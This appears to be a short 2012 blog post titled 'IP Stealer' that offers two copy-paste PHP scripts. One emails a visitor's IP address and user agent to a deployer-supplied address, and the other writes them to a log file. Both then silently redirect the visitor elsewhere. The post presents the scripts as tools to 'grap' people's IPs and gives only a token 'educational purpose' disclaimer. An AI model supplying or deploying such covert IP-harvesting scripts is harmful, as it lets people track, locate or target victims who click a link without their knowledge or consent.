Saturday, June 2, 2012

IP Stealer

For Auto Email

--------/start here/--------
<?php
$content = "IP : {$_SERVER['REMOTE_ADDR']} - User Agent : {$_SERVER['HTTP_USER_AGENT']}\n";
mail('your email@here.com', 'Logs - ' . time(), $content, "from:Logger");
    
header("Location: http://your wesite here");
?>
---/end here/---

For Auto WEB IP Log

 ------/start here/------
<?php
$content = "IP : {$_SERVER['REMOTE_ADDR']} - User Agent : {$_SERVER['HTTP_USER_AGENT']}\n";
    
$fp = fopen('logs.txt', 'a');
fwrite($fp, $content);
fclose($fp);
    
header("Location: http://your website here");
?>
----------/end here/-----

this are two php shell to grap ip and automatically  send to your email add.
this is for educational purpose only

~~> e-yhamtech

No comments:

Post a Comment